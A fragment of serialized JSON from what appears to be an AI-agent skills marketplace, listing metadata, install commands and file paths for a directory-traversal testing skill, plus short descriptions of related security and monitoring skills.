accuracy.",[27,28,29,30,31,32],"penetration-testing","directory-traversal","path-traversal","lfi","owasp","web-security","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0",[38,39,40,41],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[44,45,46,47],"T1190","T1059.007","T1505.003","T1083","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa",".claude\u002Fskills\u002Fperforming-directory-traversal-testing",2,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-14 13:24:09",{"source":8,"skillName":5,"commands":60,"prompt":70,"zipAvailable":71},[61,64,67],{"tool":62,"command":63},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill performing-directory-traversal-testing",{"tool":65,"command":66},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill performing-directory-traversal-testing",{"tool":68,"command":69},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill performing-directory-traversal-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-directory-traversal-testing\u002FSKILL.md",true,[73,77,83],{"path":74,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"references\u002Fapi-reference.md","REFERENCE","参考文档",2138,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-directory-traversal-testing\u002Freferences\u002Fapi-reference.md",{"path":84,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":87,"sourceHtmlUrl":88},"scripts\u002Fagent.py","SCRIPT","脚本",8876,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-directory-traversal-testing\u002Fscripts\u002Fagent.py",[90,98,105,113,121,129],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":109,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":117,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":125,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":130,"name":131,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":132,"categories":133,"keywords":134,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]